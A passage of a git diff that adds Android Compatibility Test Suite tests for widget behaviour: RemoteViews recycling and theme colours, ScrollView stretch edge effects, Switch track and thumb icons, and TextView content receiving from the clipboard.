+        assertFalse(mRemoteViews.canRecycleView(mResult));
+
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_textview);
+        assertFalse(mRemoteViews.canRecycleView(mResult));
+
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_textview,
+                2 /* viewId */);
+        assertTrue(mRemoteViews.canRecycleView(mResult));
+
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout, 2 /* viewId */);
+        assertFalse(mRemoteViews.canRecycleView(mResult));
+
+        assertFalse(mRemoteViews.canRecycleView(null));
+        assertFalse(mRemoteViews.canRecycleView(new View(mContext)));
+    }
+
     private void createSampleImage(File imagefile, int resid) throws IOException {
         try (InputStream source = mContext.getResources().openRawResource(resid);
              OutputStream target = new FileOutputStream(imagefile)) {
@@ -929,4 +1740,82 @@
             }
         }
     }
+
+    /**
+     * Sets the night mode, reapplies the remote views, runs test, and then restores the previous
+     * night mode.
+     */
+    private void applyNightModeThenReapplyAndTest(boolean nightMode, ThrowingRunnable test)
+            throws Throwable {
+        applyNightModeAndTest(nightMode, () -> mRemoteViews.reapply(mContext, mResult), test);
+    }
+
+    /**
+     * Sets the night mode, reapplies the remote views, runs test, and then restores the previous
+     * night mode.
+     */
+    private void applyNightModeThenApplyAndTest(
+            boolean nightMode, ThrowingRunnable test) throws Throwable {
+        applyNightModeAndTest(nightMode,
+                () -> mResult = mRemoteViews.apply(mContext, null), test);
+    }
+
+    private void applyNightModeAndTest(
+            boolean nightMode, Runnable uiThreadSetup, ThrowingRunnable test) throws Throwable {
+        final String nightModeText = runShellCommand("cmd uimode night");
+        final String[] nightModeSplit = nightModeText.split(":");
+        if (nightModeSplit.length != 2) {
+            fail("Failed to get initial night mode value from " + nightModeText);
+        }
+        final String initialNightMode = nightModeSplit[1].trim();
+
+        try {
+            runShellCommand("cmd uimode night " + (nightMode ? "yes" : "no"));
+            mActivityRule.runOnUiThread(uiThreadSetup);
+            test.run();
+        } finally {
+            runShellCommand("cmd uimode night " + initialNightMode);
+        }
+    }
+
+    private static void assertMargins(View view, int left, int top, int right, int bottom) {
+        ViewGroup.LayoutParams layoutParams = view.getLayoutParams();
+        if (!(layoutParams instanceof ViewGroup.MarginLayoutParams)) {
+            fail("View doesn't have MarginLayoutParams");
+        }
+
+        ViewGroup.MarginLayoutParams margins = (ViewGroup.MarginLayoutParams) layoutParams;
+        assertEquals("[left margin]", left, margins.leftMargin);
+        assertEquals("[top margin]", top, margins.topMargin);
+        assertEquals("[right margin]", right, margins.rightMargin);
+        assertEquals("[bottom margin]", bottom, margins.bottomMargin);
+    }
+
+    private static int resolveDimenOffset(float value, int unit, DisplayMetrics displayMetrics) {
+        return TypedValue.complexToDimensionPixelOffset(
+                TypedValue.createComplexDimension(value, unit), displayMetrics);
+    }
+
+    private static int resolveDimenSize(float value, int unit, DisplayMetrics displayMetrics) {
+        return TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit), displayMetrics);
+    }
+
+    private static final class MockBroadcastReceiver extends BroadcastReceiver {
+
+        Intent mIntent;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mIntent = intent;
+        }
+    }
+
+    private void assertSameColorStateList(ColorStateList expected, ColorStateList actual) {
+        assertEquals(expected.toString(), actual.toString());
+    }
+
+    private <T extends Throwable>  void assertThrowsOnReapply(Class<T> klass) throws Throwable {
+        assertThrows(klass, () -> mRemoteViews.reapply(mContext, mResult));
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsThemeColorsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsThemeColorsTest.java
new file mode 100644
index 0000000..ead1ca3
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsThemeColorsTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.res.Resources;
+import android.util.SparseIntArray;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsThemeColorsTest {
+    private static final String PACKAGE_NAME = "android.widget.cts";
+
+    private static final List<Integer> ALL_COLORS = generateColorList();
+
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    @Rule
+    public ExpectedException mExpectedException = ExpectedException.none();
+
+    private Instrumentation mInstrumentation;
+
+    private Context mContext;
+
+    private RemoteViews mRemoteViews;
+
+    @Before
+    public void setUp() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+    }
+
+    @Test
+    public void apply_setNoThemeColors_shouldNotChangeColors() throws Throwable {
+        View result = setUpView(new SparseIntArray());
+
+        Context resultContext = result.getContext();
+        for (int color : ALL_COLORS) {
+            assertEquals(mContext.getColor(color), resultContext.getColor(color));
+        }
+    }
+
+    @Test
+    public void apply_setAllColorsInTheme_shouldAllChange() throws Throwable {
+        SparseIntArray theme = new SparseIntArray(ALL_COLORS.size());
+        for (int i = 0; i < ALL_COLORS.size(); i++) {
+            theme.put(ALL_COLORS.get(i), 0xffffff00 + i);
+        }
+
+        View result = setUpView(theme);
+
+        Context resultContext = result.getContext();
+        for (int i = 0; i < ALL_COLORS.size(); i++) {
+            assertEquals(0xffffff00 + i, resultContext.getColor(ALL_COLORS.get(i)));
+        }
+    }
+
+    @Test
+    public void apply_setSomeColorsInTheme_shouldChangeThoseColorsOnly() throws Throwable {
+        List<Integer> changedColors = List.of(ALL_COLORS.get(10), ALL_COLORS.get(11),
+                ALL_COLORS.get(17), ALL_COLORS.get(8), ALL_COLORS.get(1));
+        SparseIntArray theme = new SparseIntArray();
+        for (int i = 0; i < changedColors.size(); i++) {
+            theme.put(changedColors.get(i), 0xffffff00 + i);
+        }
+
+        View result = setUpView(theme);
+
+        Context resultContext = result.getContext();
+        for (int color : ALL_COLORS) {
+            if (changedColors.contains(color)) {
+                assertEquals(theme.get(color), resultContext.getColor(color));
+            } else {
+                assertEquals(mContext.getColor(color), resultContext.getColor(color));
+            }
+        }
+    }
+
+    @Test
+    public void apply_setNonThemeColors_shouldNotChangeContext() throws Throwable {
+        SparseIntArray theme = new SparseIntArray(3);
+        theme.put(android.R.dimen.app_icon_size, 12);
+        theme.put(android.R.integer.config_longAnimTime, 5);
+        theme.put(android.R.color.darker_gray, 0xff00ffff);
+
+        View result = setUpView(theme);
+
+        Resources res = mContext.getResources();
+        Resources resultRes = result.getContext().getResources();
+        assertEquals(res.getDimensionPixelSize(android.R.dimen.app_icon_size),
+                resultRes.getDimensionPixelSize(android.R.dimen.app_icon_size));
+        assertEquals(res.getInteger(android.R.integer.config_longAnimTime),
+                resultRes.getInteger(android.R.integer.config_longAnimTime));
+        assertEquals(res.getColor(android.R.color.darker_gray),
+                resultRes.getColor(android.R.color.darker_gray));
+    }
+
+    private View setUpView(SparseIntArray colorResources) throws Throwable {
+        AtomicReference<View> view = new AtomicReference<>();
+        mActivityRule.runOnUiThread(() -> view.set(setUpViewInternal(colorResources)));
+        return view.get();
+    }
+
+    private View setUpViewInternal(SparseIntArray colorResources) {
+        View result = mRemoteViews.apply(mContext, null /* parent */, null /* handler */,
+                null /* size */, RemoteViews.ColorResources.create(mContext, colorResources));
+
+        // Add our host view to the activity behind this test. This is similar to how launchers
+        // add widgets to the on-screen UI.
+        ViewGroup root = mActivityRule.getActivity().findViewById(R.id.remoteView_host);
+        FrameLayout.MarginLayoutParams lp = new FrameLayout.MarginLayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        result.setLayoutParams(lp);
+
+        root.addView(result);
+        return result;
+    }
+
+    private static List<Integer> generateColorList() {
+        List<Integer> colors = new ArrayList<>();
+        for (int color = android.R.color.system_neutral1_0;
+                color <= android.R.color.system_accent3_1000; color++) {
+            colors.add(color);
+        }
+        return colors;
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
index 1e4f20e..1d75886 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
@@ -27,6 +27,7 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.compat.CompatChanges;
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Rect;
@@ -39,10 +40,12 @@
 import android.widget.FrameLayout;
 import android.widget.ScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 import android.widget.cts.util.TestUtils;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -69,6 +72,9 @@
     private static final int PAGE_HEIGHT_DPI = 100;
     private static final int TOLERANCE = 2;
 
+    static final long USE_STRETCH_EDGE_EFFECT_BY_DEFAULT = 171228096L;
+    static final long USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED = 178807038L;
+
     private int mItemWidth;
     private int mItemHeight;
     private int mPageWidth;
@@ -81,6 +87,7 @@
     private ScrollView mScrollViewRegular;
     private ScrollView mScrollViewCustom;
     private MyScrollView mScrollViewCustomEmpty;
+    private ScrollView mScrollViewStretch;
 
     @Rule
     public ActivityTestRule<ScrollViewCtsActivity> mActivityRule =
@@ -94,6 +101,7 @@
         mScrollViewCustom = (ScrollView) mActivity.findViewById(R.id.scroll_view_custom);
         mScrollViewCustomEmpty = (MyScrollView) mActivity.findViewById(
                 R.id.scroll_view_custom_empty);
+        mScrollViewStretch = (ScrollView) mActivity.findViewById(R.id.scroll_view_stretch);
 
         // calculate pixel positions from dpi constants.
         mItemWidth = TestUtils.dpToPx(mActivity, ITEM_WIDTH_DPI);
@@ -839,6 +847,78 @@
         assertEquals(mScrollViewRegular.getBottomEdgeEffectColor(), Color.GREEN);
     }
 
+    @Test
+    public void testEdgeEffectType() {
+        int expectedStartType = (CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_BY_DEFAULT)
+                || CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED))
+                ? EdgeEffect.TYPE_STRETCH : EdgeEffect.TYPE_GLOW;
+        assertEquals(expectedStartType, mScrollViewRegular.getEdgeEffectType());
+
+        // This one has "stretch" attribute
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
+
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_GLOW);
+        assertEquals(EdgeEffect.TYPE_GLOW, mScrollViewStretch.getEdgeEffectType());
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
+    }
+
+    @Test
+    public void testStretchAtTop() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtTopAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    @Test
+    public void testStretchAtBottom() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the bottom
+            mScrollViewStretch.scrollTo(0, 210);
+        });
+
+        assertTrue(StretchEdgeUtil.dragUpStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtBottomAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the bottom
+            mScrollViewStretch.scrollTo(0, 210);
+        });
+
+        assertTrue(StretchEdgeUtil.dragUpTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    private void showOnlyStretch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mScrollViewCustom.setVisibility(View.GONE);
+            mScrollViewCustomEmpty.setVisibility(View.GONE);
+            mScrollViewRegular.setVisibility(View.GONE);
+        });
+    }
+
     private boolean isInRange(int current, int from, int to) {
         if (from < to) {
             return current >= from && current <= to;
diff --git a/tests/tests/widget/src/android/widget/cts/SwitchTest.java b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
index 245db43..7dd50e8 100644
--- a/tests/tests/widget/src/android/widget/cts/SwitchTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
@@ -30,6 +31,8 @@
 import android.graphics.Rect;
 import android.graphics.Typeface;
 import android.graphics.drawable.Drawable;
+import android.graphics.drawable.GradientDrawable;
+import android.graphics.drawable.Icon;
 import android.view.ContextThemeWrapper;
 import android.view.ViewGroup;
 import android.widget.Switch;
@@ -324,4 +327,122 @@
                 () -> mSwitch.setSplitTrack(false));
         assertFalse(mSwitch.getSplitTrack());
     }
+
+    @Test
+    public void testSetTrackIcon() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setTrackIcon(blueFill));
+        GradientDrawable track = (GradientDrawable) mSwitch.getTrackDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, track.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), track.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setTrackIcon(null));
+        assertNull(mSwitch.getTrackDrawable());
+    }
+
+    @Test
+    public void testSetTrackIconAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackIconAsync(blueFill));
+        GradientDrawable track = (GradientDrawable) mSwitch.getTrackDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, track.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), track.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackIconAsync(null));
+        assertNull(mSwitch.getTrackDrawable());
+    }
+
+    @Test
+    public void testSetTrackResourceAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackResourceAsync(R.drawable.blue_fill));
+        GradientDrawable track = (GradientDrawable) mSwitch.getTrackDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, track.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), track.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackResourceAsync(0));
+        assertNull(mSwitch.getTrackDrawable());
+    }
+
+    @Test
+    public void testSetThumbIcon() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setThumbIcon(blueFill));
+        GradientDrawable thumb = (GradientDrawable) mSwitch.getThumbDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, thumb.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), thumb.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setThumbIcon(null));
+        assertNull(mSwitch.getThumbDrawable());
+    }
+
+    @Test
+    public void testSetThumbIconAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbIconAsync(blueFill));
+        GradientDrawable thumb = (GradientDrawable) mSwitch.getThumbDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, thumb.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), thumb.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbIconAsync(null));
+        assertNull(mSwitch.getThumbDrawable());
+    }
+
+    @Test
+    public void testSetThumbResourceAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbResourceAsync(R.drawable.blue_fill));
+        GradientDrawable thumb = (GradientDrawable) mSwitch.getThumbDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, thumb.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), thumb.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbResourceAsync(0));
+        assertNull(mSwitch.getThumbDrawable());
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewReceiveContentTest.java b/tests/tests/widget/src/android/widget/cts/TextViewReceiveContentTest.java
new file mode 100644
index 0000000..0b4cdba
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/TextViewReceiveContentTest.java
@@ -0,0 +1,912 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.view.ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT;
+import static android.view.ContentInfo.SOURCE_AUTOFILL;
+import static android.view.ContentInfo.SOURCE_CLIPBOARD;
+import static android.view.ContentInfo.SOURCE_DRAG_AND_DROP;
+import static android.view.ContentInfo.SOURCE_INPUT_METHOD;
+import static android.view.ContentInfo.SOURCE_PROCESS_TEXT;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.when;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.ClipboardManager;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.text.Editable;
+import android.text.Selection;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.method.QwertyKeyListener;
+import android.text.method.TextKeyListener.Capitalize;
+import android.text.style.UnderlineSpan;
+import android.view.ContentInfo;
+import android.view.DragEvent;
+import android.view.OnReceiveContentListener;
+import android.view.View.MeasureSpec;
+import android.view.autofill.AutofillValue;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.InputContentInfo;
+import android.widget.TextView;
+import android.widget.TextView.BufferType;
+import android.widget.TextViewOnReceiveContentListener;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatcher;
+import org.mockito.Mockito;
+
+import java.util.Objects;
+
+/**
+ * Tests for {@link TextView#performReceiveContent} and related code.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TextViewReceiveContentTest {
+    public static final Uri SAMPLE_CONTENT_URI = Uri.parse("content://com.example/path");
+    @Rule
+    public ActivityTestRule<TextViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TextViewCtsActivity.class);
+
+    private Activity mActivity;
+    private TextView mTextView;
+    private OnReceiveContentListener mDefaultReceiver;
+    private OnReceiveContentListener mMockReceiver;
+    private ClipboardManager mClipboardManager;
+
+    @Before
+    public void before() {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mTextView = mActivity.findViewById(R.id.textview_text);
+        mDefaultReceiver = new TextViewOnReceiveContentListener();
+
+        mMockReceiver = Mockito.mock(OnReceiveContentListener.class);
+        when(mMockReceiver.onReceiveContent(any(), any())).thenReturn(null);
+
+        mClipboardManager = mActivity.getSystemService(ClipboardManager.class);
+        mClipboardManager.clearPrimaryClip();
+
+        configureAppTargetSdkToS();
+    }
+
+    @After
+    public void after() {
+        resetTargetSdk();
+    }
+
+    // ============================================================================================
+    // Tests to verify TextView APIs/accessors/defaults related to OnReceiveContentListener.
+    // ============================================================================================
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_nullEditorInfo() throws Exception {
+        initTextViewForEditing("xz", 1);
+        try {
+            mTextView.onCreateInputConnection(null);
+            Assert.fail("Expected exception");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Call onCreateInputConnection() and assert that contentMimeTypes is not set when there is
+        // no custom receiver configured.
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        assertThat(ic).isNotNull();
+        assertThat(editorInfo.contentMimeTypes).isNull();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain", "image/png", "video/mp4"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Call onCreateInputConnection() and assert that contentMimeTypes is set from the receiver.
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        assertThat(ic).isNotNull();
+        assertThat(editorInfo.contentMimeTypes).isEqualTo(receiverMimeTypes);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_customReceiver_oldTargetSdk()
+            throws Exception {
+        configureAppTargetSdkToR();
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain", "image/png", "video/mp4"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Call onCreateInputConnection() and assert that contentMimeTypes is set from the receiver.
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        assertThat(ic).isNotNull();
+        assertThat(editorInfo.contentMimeTypes).isEqualTo(receiverMimeTypes);
+    }
+
+    // ============================================================================================
+    // Tests to verify the behavior of TextViewOnReceiveContentListener.
+    // ============================================================================================
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_text() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newPlainText("test", "y");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_styledText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        UnderlineSpan underlineSpan = new UnderlineSpan();
+        SpannableStringBuilder ssb = new SpannableStringBuilder("hi world");
+        ssb.setSpan(underlineSpan, 3, 7, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        ClipData clip = ClipData.newPlainText("test", ssb);
+
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xhi worldz", 9);
+        int spanStart = mTextView.getEditableText().getSpanStart(underlineSpan);
+        assertThat(spanStart).isEqualTo(4);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_text_convertToPlainText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newPlainText("test", "y");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_styledText_convertToPlainText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        UnderlineSpan underlineSpan = new UnderlineSpan();
+        SpannableStringBuilder ssb = new SpannableStringBuilder("hi world");
+        ssb.setSpan(underlineSpan, 3, 7, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        ClipData clip = ClipData.newPlainText("test", ssb);
+
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("xhi worldz", 9);
+        int spanStart = mTextView.getEditableText().getSpanStart(underlineSpan);
+        assertThat(spanStart).isEqualTo(-1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_html() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newHtmlText("test", "*y*", "<b>y</b>");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_html_convertToPlainText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newHtmlText("test", "*y*", "<b>y</b>");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("x*y*z", 4);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_unsupportedMimeType() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("text", "html", null, SAMPLE_CONTENT_URI));
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xhtmlz", 5);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_unsupportedMimeType_convertToPlainText()
+            throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("text", "html", null, SAMPLE_CONTENT_URI));
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD,
+                FLAG_CONVERT_TO_PLAIN_TEXT);
+
+        assertTextAndCursorPosition("xtextz", 5);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_multipleItemsInClipData() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newPlainText("test", "ONE");
+        clip.addItem(new ClipData.Item("TWO"));
+        clip.addItem(new ClipData.Item("THREE"));
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xONE\nTWO\nTHREEz", 14);
+    }
+
+    @UiThreadTest
+    @Test
